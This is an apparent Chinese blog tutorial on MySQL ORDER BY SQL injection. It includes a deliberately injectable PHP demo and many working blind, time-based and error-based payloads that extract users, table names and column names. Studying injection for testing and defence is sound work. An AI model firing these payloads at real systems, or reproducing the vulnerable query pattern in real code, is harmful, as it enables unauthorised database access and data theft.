0x00 前言

夜里看了一篇文章,突然有了启发,赶紧记录一下。

了解order by

参考:

order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法

select * from user order by id;

selecr * from user order by 1;

结合union来盲注

$sql = 'select * from admin where username='".$username."'';

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

if(isset($row)&&row['username']!="admin"){

$hit="username error!";

}else{

if ($row['password'] === $password){

$hit="";

}else{

$hit="password error!";

}

}

payload

username=admin' union 1,2,'字符串' order by 3

这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。 注意的是最好加上binary,因为order by比较的时候不区分大小写。

示例

这里的order by 3是根据第三列进行排序,如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.

这里就来说一下我们上面的payload:

我们想要爆破密码,那么我们可以轮流带入查询来观察排序情况,那么之后一定能注入出密码。

基于if()盲注

需要知道列名

order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。

示例:

order by if(1=1,id,username);

这里光看一个这个示例对我这个丑新来说太抽象了,来用具体语句解释:

case when (true) then id else username end

if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,id,username)

条件判断之后需要选择字段名,如: id,username,这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。所以必须知道字段名。

和上面的payload解释一样,我们可以通过一位一位的比较来得到我们想知道的字段。

不需要知道列名

payload

order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

基于时间的盲注

order by if(1=1,1,sleep(1))

结果:

select * from ha order by if(1=1,1,sleep(1)); #正常时间

select * from ha order by if(1=2,1,sleep(1)); #有延迟

同样的,我们可以在上面的payload中替换我们想要的语句

比如:

order by if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,1,sleep(1))

基于rand()的盲注

order by rand(true); order by rand(false); 返回不同进行盲注。原理是 order by rand()会随机给每个数据生成一个随机数,然后按照随机数排序,true和false实际上转成了整形的1和0作为rand()的种子,这样给每一列都会成一个固定的数,然后根据这个数来排序,所以结果会不同。

可以看到当rand()为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例

order by rand(ascii(mid((select database()),1,1))>96)

order by后的报错注入

参考:

源码:

error_reporting(0);

session_start();

mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");

mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';

$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))

{

array_push($reslist, $row);

}

echo json_encode($reslist);

create database sqlidemo;

这里的话就是order by 后面的参数可控,我们对他进行恶意传参来达到sql注入情况。

"select * from goods order by $_GET['order']"

在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的

payload:

/?order=IF(1=1,name,price) 通过name字段排序

/?order=IF(1=2,name,price) 通过price字段排序

解释见上文。

rand函数也能达到类似的效果,可以观测到排序的结果不一样

/?order=rand(1=1)

/?order=rand(1=2)

利用报错

返回多条记录

/?order=IF(1=1,1,(select+1+union+select+2)) 正确

/?order=IF(1=2,1,(select+1+union+select+2)) 错误

/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常

/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp

/?order=(select+1+regexp+if(1=1,1,0x00)) 正常

/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1) 正确

/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue

/?order=extractvalue(1,if(1=1,1,user())) 正确

/?order=extractvalue(1,if(1=2,1,user())) 错误

数据猜解

/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确

/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

可以得知user()第一位为r,ascii码的16进制为0x72

猜解当前数据库的表名:

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

参考

mysql order by注入_sql注入之order by注入相关推荐

  1. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  2. mysql sleep详解_sql注入详解(二)

    sql注入详解 4.检测方法 首先是判断能不能进行sql注入 是哪种sql注入 (1)数字型 ?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败 这说明是数字型注入,或者叫整型注 ...

  3. 墨者mysql注入_SQL注入实战-MySQL-墨者学院

    SQL注入实战-MySQL 今天我将用两种方法来讲解,第一种,SQLMap自动化跑数据库,第二种,利用火狐的hackbar来手工注入. [第一种] 1.先看这个url:http://219.153.4 ...

  4. mysql order by子查询_sql子查询 order by失效问题

    一.问题描述  三表联合查询  按主表的时间倒叙并分页 下面sql语句 ORDER BY失效 ,如果把 ORDER BY  放在最后 比如有20条数据 第一页会是10 -1 第二页是20-11  分页 ...

  5. mysql sql注入很常用_常见sql注入的类型

    这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...

  6. mysql防注入原理_MyBatis如何防止SQL注入

    MyBatis如何防止SQL注入 SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injectio ...

  7. 绕过mysql的id:32933 BUG 实现order by limit 正常取数据.

    今天在写分页的时候遇到了一个Mysql的一个BUG,Google了一下发现网上提出这个问题的Blog就俩还都没有给出解决方案,其实mysql官方早在2007年就已经发布了声明.BUG ID:32933 ...

  8. Mysql优化(三):优化order by

    MySQL中的两种排序方式 .通过有序索引顺序扫描直接返回有序数据 因为索引的结构是B+树,索引中的数据是按照一定顺序进行排列的,所以在排序查询中如果能利用索引,就能避免额外的排序操作.EXPLAIN ...

  9. order是mysql系统关键字_MySQL数据库如何使用“ORDER BY”关键字对查询结果进行排序呢?...

    摘要: 下文讲述MySQL数据库中ORDER BY 关键字的用法简介说明,如下所示: ORDER BY 关键字的功能及语法说明 ORDER BY 功能: 对select 查询出的结果采用指定字段 指定 ...

  10. php mysql 注入漏洞_PHP安全:SQL注入漏洞防护

    原标题:PHP安全:SQL注入漏洞防护 SQL注入是最危险的漏洞之一,但也是最好防护的漏洞之一.本文介绍在PHP的编码中合理地使用MySQL提供的预编译进行SQL注入防护,在PHP中使用PHP数据对象 ...

最新文章

  1. react 时刻表插件_React“啊哈”的时刻
  2. 有了这份程序员面试指南,你离大厂 Offer 还远吗?| 附推荐书籍
  3. Linux 安装composer
  4. Java Socket例子
  5. laraver 用户认证auth、数据迁移和填充
  6. C语言模拟实现(四)-----利用open、read、write等系统调用函数实现cp(文件复制)功能
  7. k折交叉验证法python实现_Jason Brownlee专栏| 如何解决不平衡分类的k折交叉验证-不平衡分类系列教程(十)...
  8. android https详解,如何使用HTTPS和HTTP来解析Android中的JSON数据?
  9. Apple Watch新功能曝光:“一键收取”蚂蚁森林能量
  10. Java多线程基本概念
  11. Vue.js 使用 Swiper.js 在 iOS 11 时出现错误
  12. RocketMQ助力编程猫构建稳定的业务系统 | 凌云时刻
  13. vip forum.php,DZ论坛突破VIP回复查看内容
  14. m3u8在线播放接口附成品
  15. 人脸识别+表情识别系统
  16. java秒杀源码_Java秒杀系统实战系列~商品秒杀代码实战
  17. CF235C-Cyclical Quest
  18. Linux查看文件的命令
  19. 创业基础(第五章:商业模式及其设计与创新) 来自高校:全国大学生创新创业实践联盟 分类:创新创业 学习规则:按序学习
  20. UltraISO Premium Edition9.7.1.3519完美破解版

热门文章

  1. 工业物联网解决方案,工业物联网原创监控平台如何搭建
  2. Frame-relay帧中继配置,实现网络连接
  3. 数据库备份的几种方式的详细步骤
  4. 双稳态一键开关机电路
  5. unity用visual studio写代码的时候一直显示importing assets
  6. DLL load failed while importing _imaging怎么处理
  7. linux 实时显示网速,linux 实时显示网速bash
  8. Python大数据分析(三):大数据统计分析技术
  9. e.detail.value 小程序如何传值
  10. 向量数量积公式_向量数量积公式是什么